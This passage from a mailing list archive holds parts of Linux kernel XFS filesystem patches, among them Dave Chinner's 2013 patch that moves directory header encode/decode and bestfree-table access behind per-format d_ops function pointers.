cpu_to_be32(XFS_DIR3_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); - dfp = xfs_dir3_data_bestfree_p(hdr); new.length = dup->length; new.offset = cpu_to_be16((char *)dup - (char *)hdr); @@ -457,11 +455,11 @@ xfs_dir2_data_freeinsert( */ STATIC void xfs_dir2_data_freeremove( - xfs_dir2_data_hdr_t *hdr, /* data block header */ - xfs_dir2_data_free_t *dfp, /* bestfree entry pointer */ + struct xfs_dir2_data_hdr *hdr, /* data block header */ + struct xfs_dir2_data_free *bf, /* bestfree table pointer */ + struct xfs_dir2_data_free *dfp, /* bestfree entry pointer */ int *loghead) /* out: log data header */ { - struct xfs_dir2_data_free *bf; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || @@ -471,7 +469,6 @@ xfs_dir2_data_freeremove( /* * It's the first entry, slide the next 2 up. */ - bf = xfs_dir3_data_bestfree_p(hdr); if (dfp == &bf[0]) { bf[0] = bf[1]; bf[1] = bf[2]; @@ -518,13 +515,13 @@ xfs_dir2_data_freescan( /* * Start by clearing the table. */ - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); memset(bf, 0, sizeof(*bf) * XFS_DIR2_DATA_FD_COUNT); *loghead = 1; /* * Set up pointers. */ - p = (char *)xfs_dir3_data_entry_p(hdr); + p = (char *)dp->d_ops->data_entry_p(hdr); if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { btp = xfs_dir2_block_tail_p(dp->i_mount, hdr); @@ -542,7 +539,7 @@ xfs_dir2_data_freescan( if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { ASSERT((char *)dup - (char *)hdr == be16_to_cpu(*xfs_dir2_data_unused_tag_p(dup))); - xfs_dir2_data_freeinsert(hdr, dup, loghead); + xfs_dir2_data_freeinsert(hdr, bf, dup, loghead); p += be16_to_cpu(dup->length); } /* @@ -607,8 +604,8 @@ xfs_dir3_data_init( } else hdr->magic = cpu_to_be32(XFS_DIR2_DATA_MAGIC); - bf = xfs_dir3_data_bestfree_p(hdr); - bf[0].offset = cpu_to_be16(xfs_dir3_data_entry_offset(hdr)); + bf = dp->d_ops->data_bestfree_p(hdr); + bf[0].offset = cpu_to_be16(dp->d_ops->data_entry_offset()); for (i = 1; i < XFS_DIR2_DATA_FD_COUNT; i++) { bf[i].length = 0; bf[i].offset = 0; @@ -617,17 +614,17 @@ xfs_dir3_data_init( /* * Set up an unused entry for the block's body. */ - dup = xfs_dir3_data_unused_p(hdr); + dup = dp->d_ops->data_unused_p(hdr); dup->freetag = cpu_to_be16(XFS_DIR2_DATA_FREE_TAG); - t = mp->m_dirblksize - (uint)xfs_dir3_data_entry_offset(hdr); + t = mp->m_dirblksize - (uint)dp->d_ops->data_entry_offset(); bf[0].length = cpu_to_be16(t); dup->length = cpu_to_be16(t); *xfs_dir2_data_unused_tag_p(dup) = cpu_to_be16((char *)dup - (char *)hdr); /* * Log it and return it. */ - xfs_dir2_data_log_header(tp, bp); + xfs_dir2_data_log_header(tp, dp, bp); xfs_dir2_data_log_unused(tp, bp, dup); *bpp = bp; return 0; @@ -661,6 +658,7 @@ xfs_dir2_data_log_entry( void xfs_dir2_data_log_header( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp) { xfs_dir2_data_hdr_t *hdr = bp->b_addr; @@ -670,7 +668,7 @@ xfs_dir2_data_log_header( hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); - xfs_trans_log_buf(tp, bp, 0, xfs_dir3_data_entry_offset(hdr) - 1); + xfs_trans_log_buf(tp, bp, 0, dp->d_ops->data_entry_offset() - 1); } /* @@ -711,6 +709,7 @@ xfs_dir2_data_log_unused( void xfs_dir2_data_make_free( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp, xfs_dir2_data_aoff_t offset, /* starting byte offset */ xfs_dir2_data_aoff_t len, /* length in bytes */ @@ -748,7 +747,7 @@ xfs_dir2_data_make_free( * If this isn't the start of the block, then back up to * the previous entry and see if it's free. */ - if (offset > xfs_dir3_data_entry_offset(hdr)) { + if (offset > dp->d_ops->data_entry_offset()) { __be16 *tagp; /* tag just before us */ tagp = (__be16 *)((char *)hdr + offset) - 1; @@ -774,15 +773,15 @@ xfs_dir2_data_make_free( * Previous and following entries are both free, * merge everything into a single free entry. */ - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); if (prevdup && postdup) { xfs_dir2_data_free_t *dfp2; /* another bestfree pointer */ /* * See if prevdup and/or postdup are in bestfree table. */ - dfp = xfs_dir2_data_freefind(hdr, prevdup); - dfp2 = xfs_dir2_data_freefind(hdr, postdup); + dfp = xfs_dir2_data_freefind(hdr, bf, prevdup); + dfp2 = xfs_dir2_data_freefind(hdr, bf, postdup); /* * We need a rescan unless there are exactly 2 free entries * namely our two. Then we know what's happening, otherwise @@ -810,12 +809,13 @@ xfs_dir2_data_make_free( ASSERT(dfp2 == dfp); dfp2 = &bf[1]; } - xfs_dir2_data_freeremove(hdr, dfp2, needlogp); - xfs_dir2_data_freeremove(hdr, dfp, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp2, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, needlogp); /* * Now insert the new entry. */ - dfp = xfs_dir2_data_freeinsert(hdr, prevdup, needlogp); + dfp = xfs_dir2_data_freeinsert(hdr, bf, prevdup, + needlogp); ASSERT(dfp == &bf[0]); ASSERT(dfp->length == prevdup->length); ASSERT(!dfp[1].length); @@ -826,7 +826,7 @@ xfs_dir2_data_make_free( * The entry before us is free, merge with it. */ else if (prevdup) { - dfp = xfs_dir2_data_freefind(hdr, prevdup); + dfp = xfs_dir2_data_freefind(hdr, bf, prevdup); be16_add_cpu(&prevdup->length, len); *xfs_dir2_data_unused_tag_p(prevdup) = cpu_to_be16((char *)prevdup - (char *)hdr); @@ -837,8 +837,8 @@ xfs_dir2_data_make_free( * the old one and add the new one. */ if (dfp) { - xfs_dir2_data_freeremove(hdr, dfp, needlogp); - xfs_dir2_data_freeinsert(hdr, prevdup, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, needlogp); + xfs_dir2_data_freeinsert(hdr, bf, prevdup, needlogp); } /* * Otherwise we need a scan if the new entry is big enough. @@ -852,7 +852,7 @@ xfs_dir2_data_make_free( * The following entry is free, merge with it. */ else if (postdup) { - dfp = xfs_dir2_data_freefind(hdr, postdup); + dfp = xfs_dir2_data_freefind(hdr, bf, postdup); newdup = (xfs_dir2_data_unused_t *)((char *)hdr + offset); newdup->freetag = cpu_to_be16(XFS_DIR2_DATA_FREE_TAG); newdup->length = cpu_to_be16(len + be16_to_cpu(postdup->length)); @@ -865,8 +865,8 @@ xfs_dir2_data_make_free( * the old one and add the new one. */ if (dfp) { - xfs_dir2_data_freeremove(hdr, dfp, needlogp); - xfs_dir2_data_freeinsert(hdr, newdup, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, needlogp); + xfs_dir2_data_freeinsert(hdr, bf, newdup, needlogp); } /* * Otherwise we need a scan if the new entry is big enough. @@ -886,7 +886,7 @@ xfs_dir2_data_make_free( *xfs_dir2_data_unused_tag_p(newdup) = cpu_to_be16((char *)newdup - (char *)hdr); xfs_dir2_data_log_unused(tp, bp, newdup); - xfs_dir2_data_freeinsert(hdr, newdup, needlogp); + xfs_dir2_data_freeinsert(hdr, bf, newdup, needlogp); } *needscanp = needscan; } @@ -897,6 +897,7 @@ xfs_dir2_data_make_free( void xfs_dir2_data_use_free( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp, xfs_dir2_data_unused_t *dup, /* unused entry */ xfs_dir2_data_aoff_t offset, /* starting offset to use */ @@ -926,9 +927,9 @@ xfs_dir2_data_use_free( /* * Look up the entry in the bestfree table. */ - dfp = xfs_dir2_data_freefind(hdr, dup); oldlen = be16_to_cpu(dup->length); - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); + dfp = xfs_dir2_data_freefind(hdr, bf, dup); ASSERT(dfp || oldlen <= be16_to_cpu(bf[2].length)); /* * Check for alignment with front and back of the entry. @@ -945,7 +946,8 @@ xfs_dir2_data_use_free( if (dfp) { needscan = (bf[2].offset != 0); if (!needscan) - xfs_dir2_data_freeremove(hdr, dfp, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, + needlogp); } } /* @@ -963,8 +965,9 @@ xfs_dir2_data_use_free( * If it was in the table, remove it and add the new one. */ if (dfp) { - xfs_dir2_data_freeremove(hdr, dfp, needlogp); - dfp = xfs_dir2_data_freeinsert(hdr, newdup, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, needlogp); + dfp = xfs_dir2_data_freeinsert(hdr, bf, newdup, + needlogp); ASSERT(dfp != NULL); ASSERT(dfp->length == newdup->length); ASSERT(be16_to_cpu(dfp->offset) == (char *)newdup - (char *)hdr); @@ -990,8 +993,9 @@ xfs_dir2_data_use_free( * If it was in the table, remove it and add the new one. */ if (dfp) { - xfs_dir2_data_freeremove(hdr, dfp, needlogp); - dfp = xfs_dir2_data_freeinsert(hdr, newdup, needlogp); + xfs_dir2_data_freeremove(hdr, bf, dfp, needlogp); + dfp = xfs_dir2_data_freeinsert(hdr, bf, newdup, + needlogp); ASSERT(dfp != NULL); ASSERT(dfp->length == newdup->length); ASSERT(be16_to_cpu(dfp->offset) == (char *)newdup - (char *)hdr); @@ -1030,9 +1034,11 @@ xfs_dir2_data_use_free( if (dfp) { needscan = (bf[2].length != 0); if (!needscan) { - xfs_dir2_data_freeremove(hdr, dfp, needlogp); - xfs_dir2_data_freeinsert(hdr, newdup, needlogp); - xfs_dir2_data_freeinsert(hdr, newdup2, + xfs_dir2_data_freeremove(hdr, bf, dfp, + needlogp); + xfs_dir2_data_freeinsert(hdr, bf, newdup, + needlogp); + xfs_dir2_data_freeinsert(hdr, bf, newdup2, needlogp); } } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index dd19536..f35b394 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -460,7 +460,7 @@ xfs_dir2_block_to_leaf( xfs_dir3_data_check(dp, dbp); btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); ents = xfs_dir3_leaf_ents_p(leaf); /* @@ -484,7 +484,7 @@ xfs_dir2_block_to_leaf( * Make the space formerly occupied by the leaf entries and block * tail be free. */ - xfs_dir2_data_make_free(tp, dbp, + xfs_dir2_data_make_free(tp, dp, dbp, (xfs_dir2_data_aoff_t)((char *)blp - (char *)hdr), (xfs_dir2_data_aoff_t)((char *)hdr + mp->m_dirblksize - (char *)blp), @@ -512,7 +512,7 @@ xfs_dir2_block_to_leaf( * Log the data header and leaf bests table. */ if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); xfs_dir3_leaf_check(mp, lbp); xfs_dir3_data_check(dp, dbp); xfs_dir3_leaf_log_bests(tp, lbp, 0, 0); @@ -862,7 +862,7 @@ xfs_dir2_leaf_addname( else xfs_dir3_leaf_log_bests(tp, lbp, use_block, use_block); hdr = dbp->b_addr; - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); bestsp[use_block] = bf[0].length; grown = 1; } else { @@ -878,7 +878,7 @@ xfs_dir2_leaf_addname( return error; } hdr = dbp->b_addr; - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); grown = 0; } /* @@ -891,7 +891,7 @@ xfs_dir2_leaf_addname( /* * Mark the initial part of our freespace in use for the new entry. */ - xfs_dir2_data_use_free(tp, dbp, dup, + xfs_dir2_data_use_free(tp, dp, dbp, dup, (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr), length, &needlog, &needscan); /* @@ -913,7 +913,7 @@ xfs_dir2_leaf_addname( * Need to log the data block's header. */ if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); xfs_dir2_data_log_entry(tp, dp, dbp, dep); /* * If the bests table needs to be changed, do it. @@ -1413,7 +1413,7 @@ xfs_dir2_leaf_removename( leaf = lbp->b_addr; hdr = dbp->b_addr; xfs_dir3_data_check(dp, dbp); - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); ents = xfs_dir3_leaf_ents_p(leaf); /* @@ -1431,7 +1431,7 @@ xfs_dir2_leaf_removename( /* * Mark the former data entry unused. */ - xfs_dir2_data_make_free(tp, dbp, + xfs_dir2_data_make_free(tp, dp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* @@ -1451,7 +1451,7 @@ xfs_dir2_leaf_removename( if (needscan) xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); /* * If the longest freespace in the data block has changed, * put the new value in the bests table and log that. @@ -1465,7 +1465,7 @@ xfs_dir2_leaf_removename( * If the data block is now empty then get rid of the data block. */ if (be16_to_cpu(bf[0].length) == - mp->m_dirblksize - xfs_dir3_data_entry_offset(hdr)) { + mp->m_dirblksize - dp->d_ops->data_entry_offset()) { ASSERT(db != mp->m_dirdatablk); if ((error = xfs_dir2_shrink_inode(args, db, dbp))) { /* @@ -1659,12 +1659,12 @@ xfs_dir2_leaf_trim_data( #ifdef DEBUG { struct xfs_dir2_data_hdr *hdr = dbp->b_addr; - struct xfs_dir2_data_free *bf = xfs_dir3_data_bestfree_p(hdr); + struct xfs_dir2_data_free *bf = dp->d_ops->data_bestfree_p(hdr); ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC)); ASSERT(be16_to_cpu(bf[0].length) == - mp->m_dirblksize - xfs_dir3_data_entry_offset(hdr)); + mp->m_dirblksize - dp->d_ops->data_entry_offset()); ASSERT(db == be32_to_cpu(ltp->bestcount) - 1); } #endif diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index c45d452..6644ed6 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -1255,10 +1255,10 @@ xfs_dir2_leafn_remove( dbp = dblk->bp; hdr = dbp->b_addr; dep = (xfs_dir2_data_entry_t *)((char *)hdr + off); - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; - xfs_dir2_data_make_free(tp, dbp, off, + xfs_dir2_data_make_free(tp, dp, dbp, off, dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. @@ -1267,7 +1267,7 @@ xfs_dir2_leafn_remove( if (needscan) xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); xfs_dir3_data_check(dp, dbp); /* * If the longest data block freespace changes, need to update @@ -1308,7 +1308,7 @@ xfs_dir2_leafn_remove( * (usually). */ if (longest == mp->m_dirblksize - - xfs_dir3_data_entry_offset(hdr)) { + dp->d_ops->data_entry_offset()) { /* * Try to punch out the data block. */ @@ -1962,7 +1962,7 @@ xfs_dir2_node_addname_int( * change again. */ hdr = dbp->b_addr; - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); bests[findex] = bf[0].length; logfree = 1; } @@ -1984,7 +1984,7 @@ xfs_dir2_node_addname_int( if (error) return error; hdr = dbp->b_addr; - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); logfree = 0; } ASSERT(be16_to_cpu(bf[0].length) >= length); @@ -1997,7 +1997,7 @@ xfs_dir2_node_addname_int( /* * Mark the first part of the unused space, inuse for us. */ - xfs_dir2_data_use_free(tp, dbp, dup, + xfs_dir2_data_use_free(tp, dp, dbp, dup, (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr), length, &needlog, &needscan); /* @@ -2020,7 +2020,7 @@ xfs_dir2_node_addname_int( * Log the data block header if needed. */ if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); /* * If the freespace entry is now wrong, update it. */ diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 1bad84c..9a69f20 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -59,7 +59,8 @@ extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, - struct xfs_dir2_data_unused *dup, int *loghead); + struct xfs_dir2_data_free *bf, struct xfs_dir2_data_unused *dup, + int *loghead); extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, struct xfs_buf **bpp); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index b99aa7d..f45ecac 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -213,7 +213,7 @@ xfs_dir2_block_getdents( * Set up values for the loop. */ btp = xfs_dir2_block_tail_p(mp, hdr); - ptr = (char *)xfs_dir3_data_entry_p(hdr); + ptr = (char *)dp->d_ops->data_entry_p(hdr); endptr = (char *)xfs_dir2_block_leaf_p(btp); /* @@ -578,13 +578,13 @@ xfs_dir2_leaf_getdents( /* * Find our position in the block. */ - ptr = (char *)xfs_dir3_data_entry_p(hdr); + ptr = (char *)dp->d_ops->data_entry_p(hdr); byteoff = xfs_dir2_byte_to_off(mp, curoff); /* * Skip past the header. */ if (byteoff == 0) - curoff += xfs_dir3_data_entry_offset(hdr); + curoff += dp->d_ops->data_entry_offset(); /* * Skip past entries until we reach our offset. */ diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 953e194..42bbcff 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -210,7 +210,7 @@ xfs_dir2_block_to_sf( * Set up to loop over the block's entries. */ btp = xfs_dir2_block_tail_p(mp, hdr); - ptr = (char *)xfs_dir3_data_entry_p(hdr); + ptr = (char *)dp->d_ops->data_entry_p(hdr); endptr = (char *)xfs_dir2_block_leaf_p(btp); sfep = xfs_dir2_sf_firstentry(sfp); /* -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B7C77F66 for ; Sun, 29 Sep 2013 22:07:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F3CB2AC001 for ; Sun, 29 Sep 2013 20:07:33 -0700 (PDT) X-ASG-Debug-ID: 1380510446-04cb6c3777739180002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 6YDFVo57IbtPJWjt for ; Sun, 29 Sep 2013 20:07:29 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoBDC8zCBgxOQMbGYgFvAaTegOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lu-Re for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002CV-Qo for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/16] xfs: vectorise encoding/decoding directory headers Date: Mon, 30 Sep 2013 13:07:10 +1000 X-ASG-Orig-Subj: [PATCH 13/16] xfs: vectorise encoding/decoding directory headers Message-Id: <1380510433-8353-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510449 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Conversion from on-disk structures to in-core header structures currently relies on magic number checks. If the magic number is wrong, but one of the supported values, we do the wrong thing with the encode/decode operation. Split these functions so that there are discrete operations for the specific directory format we are handling. In doing this, move all the header encode/decode functions to xfs_da_format.c as they are directly manipulating the on-disk format. It should be noted that all the growth in binary size is from xfs_da_format.c - the rest of the code actaully shrinks. text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 789061 96802 1096 886959 d88af fs/xfs/xfs.o.p5 789733 96802 1096 887631 d8b4f fs/xfs/xfs.o.p6 791421 96802 1096 889319 d91e7 fs/xfs/xfs.o.p7 Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr_inactive.c | 2 +- fs/xfs/xfs_attr_leaf.c | 4 +- fs/xfs/xfs_attr_list.c | 2 +- fs/xfs/xfs_da_btree.c | 141 +++++++++++-------------------- fs/xfs/xfs_da_format.c | 206 ++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_da_format.h | 16 ---- fs/xfs/xfs_dir2.h | 13 +++ fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 100 ++++++---------------- fs/xfs/xfs_dir2_node.c | 126 +++++++++------------------ fs/xfs/xfs_dir2_priv.h | 4 - 11 files changed, 335 insertions(+), 281 deletions(-) diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index 4855085..09480c5 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -231,7 +231,7 @@ xfs_attr3_node_inactive( } node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&ichdr, node); + dp->d_ops->node_hdr_from_disk(&ichdr, node); parent_blkno = bp->b_bn; if (!ichdr.count) { xfs_trans_brelse(*trans, bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 82f1354..fdf9992 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -916,7 +916,7 @@ xfs_attr3_leaf_to_node( if (error) goto out; node = bp1->b_addr; - xfs_da3_node_hdr_from_disk(&icnodehdr, node); + dp->d_ops->node_hdr_from_disk(&icnodehdr, node); btree = dp->d_ops->node_tree_p(node); leaf = bp2->b_addr; @@ -927,7 +927,7 @@ xfs_attr3_leaf_to_node( btree[0].hashval = entries[icleafhdr.count - 1].hashval; btree[0].before = cpu_to_be32(blkno); icnodehdr.count = 1; - xfs_da3_node_hdr_to_disk(node, &icnodehdr); + dp->d_ops->node_hdr_to_disk(node, &icnodehdr); xfs_trans_log_buf(args->trans, bp1, 0, XFS_LBSIZE(mp) - 1); error = 0; out: diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index ea1c4c4..2d174b1 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -311,7 +311,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) return XFS_ERROR(EFSCORRUPTED); } - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); for (i = 0; i < nodehdr.count; btree++, i++) { if (cursor->hashval diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 26dfc42..a51762d 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -129,56 +129,6 @@ xfs_da_state_free(xfs_da_state_t *state) kmem_zone_free(xfs_da_state_zone, state); } -void -xfs_da3_node_hdr_from_disk( - struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from) -{ - ASSERT(from->hdr.info.magic == cpu_to_be16(XFS_DA_NODE_MAGIC) || - from->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)); - - if (from->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { - struct xfs_da3_node_hdr *hdr3 = (struct xfs_da3_node_hdr *)from; - - to->forw = be32_to_cpu(hdr3->info.hdr.forw); - to->back = be32_to_cpu(hdr3->info.hdr.back); - to->magic = be16_to_cpu(hdr3->info.hdr.magic); - to->count = be16_to_cpu(hdr3->__count); - to->level = be16_to_cpu(hdr3->__level); - return; - } - to->forw = be32_to_cpu(from->hdr.info.forw); - to->back = be32_to_cpu(from->hdr.info.back); - to->magic = be16_to_cpu(from->hdr.info.magic); - to->count = be16_to_cpu(from->hdr.__count); - to->level = be16_to_cpu(from->hdr.__level); -} - -void -xfs_da3_node_hdr_to_disk( - struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from) -{ - ASSERT(from->magic == XFS_DA_NODE_MAGIC || - from->magic == XFS_DA3_NODE_MAGIC); - - if (from->magic == XFS_DA3_NODE_MAGIC) { - struct xfs_da3_node_hdr *hdr3 = (struct xfs_da3_node_hdr *)to; - - hdr3->info.hdr.forw = cpu_to_be32(from->forw); - hdr3->info.hdr.back = cpu_to_be32(from->back); - hdr3->info.hdr.magic = cpu_to_be16(from->magic); - hdr3->__count = cpu_to_be16(from->count); - hdr3->__level = cpu_to_be16(from->level); - return; - } - to->hdr.info.forw = cpu_to_be32(from->forw); - to->hdr.info.back = cpu_to_be32(from->back); - to->hdr.info.magic = cpu_to_be16(from->magic); - to->hdr.__count = cpu_to_be16(from->count); - to->hdr.__level = cpu_to_be16(from->level); -} - static bool xfs_da3_node_verify( struct xfs_buf *bp) @@ -186,8 +136,11 @@ xfs_da3_node_verify( struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_intnode *hdr = bp->b_addr; struct xfs_da3_icnode_hdr ichdr; + const struct xfs_dir_ops *ops; + + ops = xfs_dir_get_ops(mp, NULL); - xfs_da3_node_hdr_from_disk(&ichdr, hdr); + ops->node_hdr_from_disk(&ichdr, hdr); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_da3_node_hdr *hdr3 = bp->b_addr; @@ -354,11 +307,12 @@ xfs_da3_node_create( struct xfs_da3_icnode_hdr ichdr = {0}; struct xfs_buf *bp; int error; + struct xfs_inode *dp = args->dp; trace_xfs_da_node_create(args); ASSERT(level <= XFS_DA_NODE_MAXDEPTH); - error = xfs_da_get_buf(tp, args->dp, blkno, -1, &bp, whichfork); + error = xfs_da_get_buf(tp, dp, blkno, -1, &bp, whichfork); if (error) return(error); bp->b_ops = &xfs_da3_node_buf_ops; @@ -377,10 +331,10 @@ xfs_da3_node_create( } ichdr.level = level; - xfs_da3_node_hdr_to_disk(node, &ichdr); + dp->d_ops->node_hdr_to_disk(node, &ichdr); xfs_trans_log_buf(tp, bp, XFS_DA_LOGRANGE(node, &node->hdr, - args->dp->d_ops->node_hdr_size())); + dp->d_ops->node_hdr_size())); *bpp = bp; return(0); @@ -590,7 +544,7 @@ xfs_da3_root_split( oldroot->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { struct xfs_da3_icnode_hdr nodehdr; - xfs_da3_node_hdr_from_disk(&nodehdr, oldroot); + dp->d_ops->node_hdr_from_disk(&nodehdr, oldroot); btree = dp->d_ops->node_tree_p(oldroot); size = (int)((char 